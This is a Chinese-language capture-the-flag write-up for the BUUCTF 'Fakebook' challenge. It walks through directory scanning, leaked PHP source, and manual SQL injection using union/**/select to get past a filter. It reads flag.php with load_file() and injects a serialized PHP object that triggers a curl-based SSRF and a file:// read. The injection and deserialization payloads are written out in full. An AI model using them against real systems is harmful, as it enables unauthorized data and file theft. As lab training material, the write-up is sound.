buuctf-[网鼎杯 2018]Fakebook 1
Posted junlebao
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf-[网鼎杯 2018]Fakebook 1相关的知识,希望对你有一定的参考价值。
这道题,也是费了很大的劲,慢慢理解慢慢消化,今天,才开始把wp写出来
首先我们先扫描一波目录,用dirsearch扫一手,发现有robots.txt文件
dirseach自带的字典在db目录下,使用格式以及常用参数如下:
py dirsearch.py -u [target url] -e * -u后面跟要扫的url -e是指定的url -w是指定字典 -r递归目录 --random-agents使用随机UA
然后,我们紧接着用御剑扫一手,发现了flag.php,然后我们显示访问robots.txt,然后发现有一个user.php.bak的备份文件,我们直接访问,然后
下载下来,源码如下:
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog); } }
有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,
然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容
还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。
get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网,
如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。
我们先回到首页,点join注册一个账号
然后弹窗注册成功
这个页面,也就一个username可以点进去,于是我们点进入,发现no这个地方可以注入,于是拿去sqlmap上跑一手,发现没有跑出来。
于是尝试手工注入:
?no = 1 and 1=1 //回显正常
?no = 1 and 1=2 //错误回显
铁定数字型注入,于是我们看看表中有多少列,确定一下列数,
?no = 1 order by 3 //正常
?no = 1 order by 4 //正常
?no = 1 order by 5 //错误
所以确定列数,有4列
于是我们尝试union联合注入:
?no = -1 union select 1,2,3,4--+
结果有这么一段话,被发现了。
然后,通过大佬wp中发现,过滤了union select
可以用过union/**/select绕过
于是我们再次构造payload:
?no = -1 union/**/select 1,2,3,4--+
回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。
然后我们开始查数据库和数据库信息
?no=-1 union/**/select 1,database(),3,4--+ //数据库名
?no=-1 union/**/select 1,user(),3,4--+ //数据库信息
发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
结果我们得到了flag。这也是我看一个大佬的博客上面用的,我也是学到了这个知识。
接着我们继续往下看 不用这个方法
我们接着爆数据库表:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
获得一张users表
然后爆字段名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users‘--+
这里面no,username,password我们都知道是什么,就data有点猫腻,于是我们查看它一下,于是我们爆data内容:
是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。
在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
然后构造payload:
?no=-1 union/**/select 1,2,3,‘O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}‘
然后我们查看源码,发现读出来的数据,base64解密获得flag
以上是关于buuctf-[网鼎杯 2018]Fakebook 1的主要内容,如果未能解决你的问题,请参考以下文章